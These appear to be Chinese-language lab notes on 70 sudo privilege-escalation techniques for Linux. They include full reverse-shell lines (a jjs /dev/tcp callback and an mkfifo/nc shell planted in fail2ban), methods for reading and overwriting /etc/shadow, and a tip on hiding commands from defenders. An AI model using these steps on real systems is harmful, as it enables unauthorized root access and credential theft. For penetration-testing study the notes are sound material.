Linux提权之Sudo 70种提权方法

笔记目录:

1. CVE-2019-14287

条件: sudo版本 <= 1.8.28
利用流程:
可以以所有的用户身份,不需要输入密码,执行bash,但是不能用root

正常情况下我们按照以上规则以一个新用户执行bash是这样的,

但是这种还有另一种写法,我们提权就是在这种情况下利用
-u#1000,指定用户id

#-1 在sudo算法里解释成0

2. sudo apt

条件:
指当前用户不需要输入root密码,就可以以root身份执行apt命令

利用流程:
-o 指定apt的选项
APT::Update::Pre-Invoke::=/bin/bash 这是apt预处理指令,启动bash会话,其中“::”类似于名字空间,逐级访问子配置

3. sudo apache2

条件:

利用流程:
-f 指定apache2的配置文件
但是我们给定的是shadow文件,是错误的,执行时肯定会报错,报错信息显示root用户hash值

破解hash值

登陆root用户,成功提权

4. sudo ash

条件:

利用流程:

5. sudo awk

条件:

利用流程:
BEGIN 是awk工具的特殊模式,表示在处理任何输入之前执行的动作

6. sudo base64

条件:

利用流程:
先看当前用户对shadow的读取情况,发现没有权限
声明一个变量
因为sudo base64有这个权限,我们通过一编一解,来绕过读取shadow文件

破解hash值

登陆root用户,成功提权

7. sudo bash

条件:

利用流程:

其他shell环境还有一些,都可以直接执行,如 csh\dash\sh\tclsh\zsh

8. sudo cp

条件:

利用流程:
先在kali做一些准备,生成明文密码的hash
-m 指定加密方法,一般linux用户shadow文件中存储的是sha-512加密算法的hash
参照kali中shadow文件root用户的hash值替换保存起来备用

回到靶机,现在我们需要把准备好的root用户的hash替换靶机中的shawod文件
生成一个环境变量,指向etc/shadow文件
再生成一个TF变量,指向用mktemp生成的临时文件
然后把刚刚生成的shadow记录写入到TF变量中

利用过程
利用cp命令,把TF变量里的内容里写入shadow文件,但要知道,这个操作是有损的,最后靶机shadow文件中只有这一行,如果不进行备份,在实际攻防中优先级是排后的

9. sudo cpulimit

条件:

利用流程:
-l 指的是限制CPU的使用率
-f 指定一个程序,这个程序按照-l的参数去使用CPU的比例

10. sudo curl

条件:

利用流程:
先在kali做一些准备,生成明文密码的hash
-m 指定加密方法,一般linux用户shadow文件中存储的是sha-512加密算法的hash
参照kali中shadow文件root用户的hash值替换保存起来备用

回到靶机,现在我们需要把准备好的root用户的hash替换靶机中的shawod文件
还要生成一个简易的Web服务器

访问刚刚架设的web服务器,-o 输出,覆盖到原有的

11. sudo date

条件:

利用流程:
-f 指定一个文件,从这个文件中提取时间
报错了,date认为每一条应该都有时间信息,但是我们从结果中得知shadow文件中暴露的信息

在kali中暴力破解hash值

回到靶机中进行登陆

12. sudo dd

条件:
dd命令行工具是对原始数据进行级别的复制和转换

利用流程:
先在kali做一些准备,生成明文密码的hash
-m 指定加密方法,一般linux用户shadow文件中存储的是sha-512加密算法的hash
参照kali中shadow文件root用户的hash值替换保存起来备用

回到靶机,现在我们需要把准备好的root用户的hash替换靶机中的shawod文件
dd of=<输出文件>

13. sudo dstat

条件:
dstat 他有一个选项可以通过指定插件名执行外部插件

利用流程:
查找dstat插件目录
-type d 查找类型是目录
2>/del/null 因为当前用户是一个低权限用户,会产生很多错误信息,扔掉

插件的使用方法是,这些python文件,去掉前面的前缀,后面就是插件名称,按照这个方式,在里面构建一个python文件,里面写入python提权语法
导入一个os库,用os.execv方法起一个bash

dstat -- 指定插件名称

14. sudo ed

条件:
ed编辑器

利用流程:
! 告诉编辑器执行系统命令,启动一个bash

15. sudo env

条件:

利用流程:
env 通常就是用来设置和显示环境变量的值,只是在这个利用中,env命令用于在指定环境下执行后面的命令

16. sudo exiftool (CVE-2021-22204)

条件:
exiftool版本:7.44-12.23


利用流程:
编辑一个payload
在其中写入原数据,系统命令,执行新的bash的启动
为什么是这个格式:1、按照利用中去写的,2、exiftool是用于查看图形图像原数据的工具,所以有它的格式

bzz工具执行压缩
djvumake是用于去创建和转换djvu文件的工具,而djvu是一种图像压缩格式,主要用于扫描文档和电子书
用djvumake工具去生成一个利用文件,里面包含了提权逻辑

执行利用文件

17. sudo expect

条件:
expect命令可以模拟用户键盘输入,主要用于脚本或自动化环境之中交互过程

利用流程:
-c 允许你直接在命令行中输入expect的脚本代码,而不是从文件中读取
spawn /bin/bash 生成一个bash环境
;interact 指定是交互的

18. sudo fail2ban

条件:
fail2ban用来反复登陆ssh登陆超过几次,或者在指定时间内登陆超过几次就禁止访问,IP封掉,是一个防御的工具

利用流程:
查找fail2ban的目录
再次查找fail2ban的配置中action目录中是否可写
-writable 可写

看一下fail2ban配置文件


也就是说在这个时间段内,如果你尝试了5次都失败了,就会被ban掉,ban掉这个行为就是在action.d脚本目录中进行规定
看能否定义action的行为

这个文件中决定了尝试次数,在短时间内触发了ban这个行为的时候,怎么处置
查看得知这个文件是root用户root组,不可写
通过mv移动文件和cp复制文件的方式进行替换用户权限

现在就可以执行修改了,修改如果ban被触发时,执行的命令
修改成我们提取的逻辑
rm /tmp/f 删除临时文件夹的这个文件
mkfifo 做一个隧道,用“|”指定到bash
-i 指定交互性 2>&1 错误重定向输出
nc 10.10.10.10 9595 用nc反弹监听9595端口
> /tmp/f 重定向到/tmp/f,形成闭环

重启fail2ban

回到kali多次登陆,看能否触发ban规则,规则就是我们写的提权逻辑

看到已经收到了反弹shall,命令提示符中有#号

19.sudo find

条件:

利用流程:
. 查找当前目录下,其实查找谁都一样,但查找当前目录是最简单的
-exec 在find命令中有exec执行bash
/bin/bash 不会对找到的文件和目录做任何处理
\; 是exec参数的结束符,所以要加上\转译,否则就是分隔符
-quit 指找到第一个文件或者目录就停止
整个这条语句就是新起一个shell,实现我们的提权逻辑

20. sudo flock

条件:
flock 是一个在Linux中管理文件锁定的实用程序,它可以用来协调多个进程对文件或文件系统的访问,避免这些进程同时访问同一个资源导致问题

利用流程:
-u 表示解锁
解锁根目录下的文件,并允许一个程序来操作,肯定希望他是/bin/bash。就是说flock能够解锁当前目录下的文件,允许它被操作其他的文件操作,这里是被bash操作,就会新起一个会话,因为这里是以sudo前缀执行,肯定就是root权限

21. sudo ftp

条件:

利用流程:
启动交互式命令行
在其中用“!”执行系统命令,启动bash会话

22. sudo gcc

条件:
在渗透测试中用gcc命令比较多,主要用来做C语言的编译

利用流程:
-wrapper 包装器,指定gcc进行编译某些内容的时候,给它一个参数bash
-s 这个是bash的参数,用“,”分割,指定从标准输入读取命令,使bash在读取到eof时不会退出,
. 代表当前目录,因为gcc是要编译内容的,这里随便他在当前目录编译什么,因为我们不是要他编译的结果,而是要他在编译过程中把包装器的内容执行起来

23. sudo gdb

条件:
gdb 是一个被广泛使用对源代码级别的调试器,用来调试各种程序,主要用在调试C和C++编写的程序

利用流程:
-nx 不执行,告诉gdb在启动时不读取任何初始化配置文件
-ex 执行我们指定的命令
这个逻辑就是,什么都不执行,就启动一个bash会话,然后gdb退出

24. sudo git

条件:

利用流程:
branch 是随便指定的一个,比如说分支
--help 启动他的帮助

执行bash命令

25. sudo gzip/gunzip

条件:

利用流程:
gzip 压缩shadow敏感文件,里面有用户密码的hash值,如果能压缩成功,可以进行暴力破解
-t 会去检查压缩文件,他往往会去读取,而shadow文件纯文本文件,读取的时候就可以直接读取获得敏感信息
-f 强制执行,如果有需要覆盖强制执行的时候,就自动会强制执行

在kali中把root hash值保存起来进行破解

回到靶机进行登陆

26. sudo hping3

条件:
hping3是一个非常强大的网络工具,主要用来分析和测试网络环境,生成各种类型的数据包

利用流程:

27. sudo iftop

条件:
iftop 是一个命令行的网络流量监控工具,用来实时显示一个网络接口带宽的使用情况,他类似于top命令,他可以提供一个活动的网络连接和使用带宽的实时试图

利用流程:

可以看到是一个字符界面的实时数据图

提权过程中先输入“!”告诉应用开始执行系统命令,启动新的bash会话

执行,可以已经看到新起的bash会话

28. sudo java

条件:
遇到这种大的语言执行程序,首先想到语言本身进行提权,这是标准操作

利用流程:
生成反弹shell
-p 指定java/shell_reverse_top反弹的shell
-f 指定文件类型
-o 文件名

建立简易的web服务器,用于传递shell文件

同时,在本地建立一个监听

回到靶机,切换到临时目录是最好的
下载shell文件,并给执行权限

执行文件

kali获得反弹shell,并通过python反射实现交互提升

29. sudo jjs

条件:

利用流程:
在kali本地建立一个监听

回到靶机,通过参考以下两个网址,结合着代码形成有效语句
https://gtfobins.github.io/gtfobins/jjs/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

echo "Java.type('java.lang.Runtime').getRuntime().exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"].waitFor()" | sudo jjs

echo "..." | sudo jjs 把引号里的脚本给到了jjs,然后jjs具有sudo权限,进行提权
引号里的逻辑是,java运行时的exec去执行了一个反弹shell得逻辑,
其中5代表的是自定义的一个文件描述符号,也是为了形成shell得信息留,平时接触最多的是0输入、1输出、2错误,
while 是读出前面每一行的输入,然后用do执行,done执行完毕
waitFor() 等待执行

执行,看到监听窗口已经收到反弹shell

30. sudo journalctl

条件:
journalctl 是用来检索systemd系统日志

利用流程:
直接执行

使用“!”执行系统命令

可以看到命令指示符中已经有“#”号

31. sudo knife

条件:
knife是chef的命令行接口,而chef是一个自动化管理和配置工具,可以用于管理服务器和基础设施,knife命令可以用于与chef服务器进行交互,上传角色、配方、管理结点等等

利用流程:
exec 是knife的子命令
-E 去引入ruby语法的字符串

32. sudo less

条件:

利用流程:
生成当前目录临时文件,其实无论是哪个文件都可以,只要进入less模式
用less执行这个文件

因为临时文件是空的,所以只显示了这个文件的名称,没有任何内容,但是已经进入到less模式

使用“!”执行系统命令

可以看到命令指示符中已经有“#”号

33. sudo man

条件:
man 所代表的的是英文单词manual,也就是帮助手册的意思,Linux中的man手册就是提供给用户在有不明白的命令或者函数的时候,去查询它的功能、使用方法、头文件以及所需参数的帮助手册。

利用流程:
后面随便接某个应用的帮助文件

使用“!”执行系统命令

可以看到命令指示符中已经有“#”号

34. sudo more

条件:

利用流程:
生成当前目录临时文件,然后用sudo more去读取,因为文件是空的,所以没有显示more的界面,我们也没有提权操作的机会

进行一些操作,生成一个文档,事实上你找系统中任何一个文档都是可以的,重定向到临时文件
这里因为文件太大,就截取了前50条,重定向到一个新的文件
yes命令在命令行中输出指定的字符串,直到yes进程被杀死。不带任何参数输入yes命令默认的字符串就是y。

再次执行查看

使用“!”执行系统命令

可以看到命令指示符中已经有“#”号

35. sudo mount

条件:
mount 用于挂载文件系统,可以是磁盘和共享目录

利用流程:
-o 给一个选项,这里给bind,绑定的意思
就是把bash绑定成mount,之后执行mount命令,就是执行bash命令了

36. sudo mysql

条件:

利用流程:
-e 执行的意思
因为在bash命令里“!”是读取历史命令的意思,所以这里要加上“\”

37. sudo nano

条件:
nano 是一个文本编辑器,是一个很典型的提权方式

利用流程:
执行进入nano界面

Ctrl+r 读取文件

Ctrl+x 执行命令

reset 将环境重置,确保是一个干净的环节
; 并列执行的命令
1>&0 2>&0 对输入输出做一个规划,错误输出也要重定向

获得一个提权后的shell环境

38. sudo neofetch

条件:
neofetch 是一个命令行程序,用于显示你的系统信息,包括操作系统、软件版本、桌面环境等等,可以通过配置文件进行自定义,从而改变输出的信息和格式

利用流程:
先执行看看这个工具的功能,它会显示当前的配置信息,操作系统,主机,内核等等

先建立一个临时文件,用mktemp去生成
写出提权逻辑
通过配置文件把刚刚建立的临时文件,包含提权逻辑的文件引入进来,因为neofetch的配置文件只能指定文件

39. sudo nice

条件:
nice 用于修改进程的优先级,优先级的范围是从 -20(最大优先级)到 19(最小优先级),默认是10

利用流程:
提权路径,用nice命令去指定一个程序的优先级,这里肯定是/bin/bash

40. sudo nmap

条件:

利用流程:
提权路径,nmap 它可以在命令行执行脚本文件,我们只需要指定具有提权逻辑的文件

41. sudo node

条件:
node 命令用于执行Node.js

利用流程:
-e 执行指定Node.js代码字符串,这里我们肯定指定Node.js语法的提权逻辑
require('child_process') 启动一个子进程
spawn('/bin/bash',{stdio:[0,1,2]}) 生成一个新的bash会话,同时对于输入输出进行管理

42. sudo nohup

条件:
nohup 命令用于启动一个不挂断地进程,即使终端关闭,该进程也会继续运行

利用流程:
-c 指定命令,我们这里指向执行输入输出,做重定向的这样一个bash

43. sudo openvpn

条件:

利用流程:
--config 指定配置文件,这里我们肯定指定shadow文件
显然会报错,但报错内容中回显出文件的第一行,也就刚好是root的hash值

在kali中暴力破解hash值

回到靶机中进行登陆

44. sudo passwd

条件:

利用流程:
这个就很简单了,因为普通用户就具有root用户的passwd命令权限,直接改密码就好

45. sudo perl

条件:
这种大的语言有各种提权方法,在这之前演示过java,用的反弹shell进行的提权,每种语言有自己的扩展命令,或执行系统命令的方式

利用流程:
-e 执行系统命令,给定perl语法的提权逻辑

46. sudo php

条件:

利用流程:
php命令行有很多种方式都可以执行系统命令,这里演示其中一种
-r 指定php语法执行系统命令

47. sudo pico

条件:
pico和nano很相似,所以提权方式也很相似,但它两却是不同的编辑器,从功能上和使用场景上有那么一点差别

利用流程:

Ctrl+r 读取文件

Ctrl+x 执行命令

reset 将环境重置,确保是一个干净的环节
; 并列执行的命令
1>&0 2>&0 对输入输出做一个规划,错误输出也要重定向

获得一个提权后的shell环境

48. sudo pkexec

条件:
pk 是Policykit 策略套件,是一种服务,用于管理系统范围内的策略,并允许非特权进程通信,以进行特权操作
exec 遇到过很多,都指的是执行的意思
pkexec 执行权限操作的一个命令,能够执行用户指定的程序

利用流程:
pkexec 直接指定我们所需要的提权语句

49. sudo python3

条件:

利用流程:
-c 可以直接在命令行中调用python代码,使用os库执行系统命令

50. sudo rvim

条件:
rvim 是vim编辑器的特定版本,r=restricted 限制的意思,相比于vim,rvim限制了一些命令,防止执行对系统有危害的命令

利用流程:
-c 让rvim在启动后执行指定的命令或vim脚本
: 告诉rvim执行系统命令,这里我们用python写一个提权脚本
看到命令提示符中有#号,提权成功

51. sudo scp

条件:
scp=secure copy 用于在Linux下远程文件复制,用于ssh安全远程文件复制的工具

利用流程:
-S 指定ssh程序,我们可以指定提权逻辑
x y: 因为我们是要提权,就随便指定本地文件和远程文件

52. sudo screen

条件:
screen 终端复用工具,和tmux很相似

利用流程:
启动screen会话

按空格或回车键结束

看到命令提示符中有#号,提权成功

53. sudo script

条件:
script 本来就是启动新的shell会话,记录shell所有的命令记录

利用流程:
单纯从提权角度,直接执行script命令就行,但从渗透测试来说,我们不希望它记录我们的提权过程的命令让蓝队获取,同时还会显示头和尾,所以要做一些调整

-q 把刚刚的头和尾给静默掉
/dev/null 同时把script操作记录结果对掉
这才是我们渗透测试时正确的方式

54. sudo sed

条件:
sed 是一个强大的文本处理工具,用于对文本进行读取、处理和编辑

利用流程:
-n 用于不自动打印,因为默认sed会打印每一行内容,使用后,sed只会打印你告诉他打印的那一行
sed自有的命令达到启动新会话的命令,其中:1是第一行,e是执行命令,执行exec启动一个新的bash,然后对于输出重定向到输入,形成一个信息流,最后因为sed要读取哪一个文件,否则会报错,但他执行什么,其实无所谓,我们目的就是为了启动一个bash,而不是为了读取什么

55. sudo service

条件:
service 用于管理Linux系统中的服务,他可以将可执行文件作为服务启动

利用流程:
作为渗透来说,那我们肯定希望他的可执行文件是启动一个新bash
../../ 因为service在寻找可执行文件的时候,他是在path指定的环境变量中进行搜索,所以要返回上两级,这样能确保在这个搜索范围内肯定能找到到bash这个路径

56. sudo socat

条件:
socat 多功能的网络工具,用它来建立双向的数据传输通道

利用流程:
stdin 标准输入

57. sudo ssh

条件:

利用流程:
-o ProxyCommand='' 指定代理服务器连接到远程主机,再提权,
x 代表指定的一个远程主机,因为我们并不需要他进行连接,只是想启动shell,这个参数只要不是空着就行
; 为了避免ssh试图让我们的提权逻辑成为通道,完成代理服务,同时也为了避免ssh在进行密钥交换的时候,无法与主机通信导致错误,这时候我们就需要在他前面执行一些东西,加一个“;”,实际“;”前面就是指的一个空命令,空命令执行成功后面才会执行我们提权逻辑,这是bash语句中的逻辑

58. sudo ssh-keygen

条件:

利用流程:
引入需要的库
生成一个静态无返回值的函数
函数体写入提权逻辑

c语言共享库的编译
-shared 指定shared关键字
-fPIC 指定文件位置的无关参数
-o 输出 共享库文件 源文件


-D 指定一个动态连接库,所以我们要按照动态连接库的方式构造一个文件,写入一个提权逻辑,并按照动态连接库的逻辑进行编译
提示说不能打开共享库文件,但事实上文件就在这个目录下,这里就涉及到一个环境变量,当程序需要加载共享库时,系统会优先在“LD_LIBRARY_PATH”这个变量中查找库文件,如果这个路径在这个环境变量里会找到,不在则认为没有这个共享库。所以我们1、直接把当前路径加到这个环境变量里,2、直接明确指定这个共享库的位置

这里选择2,直接明确指定这个共享库的位置

59. sudo strace

条件:
strace命令是一个集诊断、调试、统计与一体的工具,我们可以使用strace对应用的系统调用和信号传递的跟踪结果来对应用进行分析,以达到解决问题或者是了解应用工作过程的目的。 strace常用来跟踪进程执行时的系统调用和所接收的信号。

利用流程:
-o 输出
输出不要,但却调试和追踪的我们指定的bash命令

60. sudo systemctl

条件:
systemctl 是systemd主要命令行工具,systemd是现代很多发行版的初始Linux系统,负责引导系统和管理系统运行的级别,systemctl允许启动、重启、禁止、停止启用系统服务、查看状态系统,或者查看和控制系统日志等等

利用流程:
systemctl的提权有很多,这里演示最常用的一种
直接运行systemctl

显示信息类似Linux中的常用编辑器,它的提权方式也很相似

用“!”告诉系统命令启动新的bash会话

可以看到命令指示符中已经有“#”号

61. sudo tcpdump

条件:
tcpdump 用于监听网络流量或者是捕获网络流量的工具

利用流程:
提权路径,提权时可以用到tcpdump这样一个功能,就是它可以将网络流量捕获,并且把数据包传递给一个脚本进行处理,那传递给什么样的脚本,我们就可以在里面加戏,就可以把提权的逻辑加进去
先准备提权的脚本,写入提权逻辑,并给上执行权限,事实上这里用mkfifo也是一样的,这里演示不同的,做一个差异化用mknod

同时,在kali本地建立一个监听

回到靶机进行执行提权
-ln 告诉tcpdump使用数字形式显示ip的地址和端口号,不进行反向解析
-i 指定网卡
-w 将捕获的数据包直接丢掉
-W 1 限制每个文件的大小为1,并在达到限制后进行切换,因为具体捕捉多少内容,对我们没有任何意义,所以就按它的语法结构给到他参数就行了
-G 1 在一秒后轮换到下一个文件
-z 指定数据包处理的脚本,就是含有提权逻辑的这个脚本
-Z root 以root权限进行操作

kali获得反弹shell,并通过python反射实现交互提升

62. sudo tee

条件:
tee 命令,它能将输入中读取的数据写入到文件的同时,输出到标准输出中

利用流程:
提权路径,也就是说这个用户有root的写权限,比如可以将新用户写到passwd中
用openssl passwd功能生成一个密码为123456的hash值,然后用我们本地kali中passwd的组成形式,修改构造一个新用户具有root权限的字段

然后在靶机中用我们构造具有root权限的用户进行追加、登陆进行操作
tee -a 对原文件不进行覆盖

63. sudo timedatectl

条件:

利用流程:
list-timezones字命令 列出时区

用“!”告诉timedatectl下面执行系统命令启动新的bash会话

可以看到命令指示符中已经有“#”号

64. sudo tmux

条件:
tmux 终端复用工具,和screen很像

利用流程:
直接执行,因为它本身就是通过启动新的shell实现端口复用的

看到命令提示符中有#号,提权成功

65. sudo vi

条件:

利用流程:
启动vi编辑器,在其中用“:”号执行命令模式

看到命令提示符中有#号,提权成功

也可以直接在命令行操作:
-c 执行命令

66. sudo wall

条件:
wall是广播消息的命令,可以发送一条信息到所有打开的终端窗口,这是一种系统中进行通讯的方法,常用于系统管理员告知所有用户系统即将进行的操作,比如重启或者通知,用wall就能够读取广播消息的文件,而有sudo权限就可以读取任何文本文件

利用流程:
使用wall命令读取敏感信息
--nobanner 不显示头信息

拿到root的密码hash值

在kali中暴力破解hash值

回到靶机中进行登陆

67. sudo watch

条件:
watch是一个在Linux系统上周期性执行命令,并显示结果的程序,它默认每两秒执行一次指定的命令

利用流程:
-x 在命令行输出每次执行的命令,基于提权目的,肯定想让它执行bash命令
-c 是bash执行命令选项
reset 将环境重置,确保是一个干净的环节
; 并列执行的命令
1>&0 2>&0 对输入输出做一个规划,错误输出也要重定向

68. sudo wget

条件:
wget 下载命令

利用流程:
先用mkdump生成临时文件,并给上执行权限

echo 写入提权逻辑
-e 启用“\”转译符,这是echo命令所要求的
#!/bin/bash 使用/bin/bash环境,
/bin/bash 启用新的bash
1>&0 把标准输出重定向到标准输入

--use-askpass 当用密码的时候,他会调用一个程序来获取密码
0 是我们随便代表指定的下载东西,确保wget可以正常执行就行

69. sudo zip

条件:
zip 压缩工具

利用流程:
zip <压缩后的文件名称> <指定压缩文件>
-T 用zip自己的命令检测压缩文件的完整性
-TT 它是你指定一个程序去检查压缩包的完整性,这样我们就可以执行我们自己加入提权逻辑的程序
bash # 加一个“#”号表示后边的注释掉,内容忽略,因为我们只想让它启动一个bash而已

70. sudo xxd

条件:
xxd 是一个将二进制的文件转换成十六进制或反向操作的工具

利用流程:
在渗透测试过程中,就可以用它对于一些原本我们无法读取的文件进行编码和反向解码
xxd -r 反向解码

在kali中暴力破解hash值

回到靶机中进行登陆

补充,如何提升Shell交互性

1、通过python中pty库
python3 -c "import pty;pty.spawn('/bin/bash')"

2、通过再新建一个反弹shell
kali

靶机
-e 绑定/bin/bash

3、通过mkfifo再新建反弹shell
kali

靶机

rm /tmp/f 删除临时文件夹的这个文件
mkfifo 做一个隧道,用“|”指定到bash
-i 指定交互性 2>&1 错误重定向输出
nc 10.10.10.10 9595 用nc反弹监听9595端口
\> /tmp/f 重定向到/tmp/f,形成闭环

注意,可以看到当我们第一次在原有交互里输入echo $SHELL是直接返回的,这个是不正常的,那么我们可以直接输入bash命令,实际等于新建了一个bash,再次查看时就已经显示实在bash这个shell里了

kali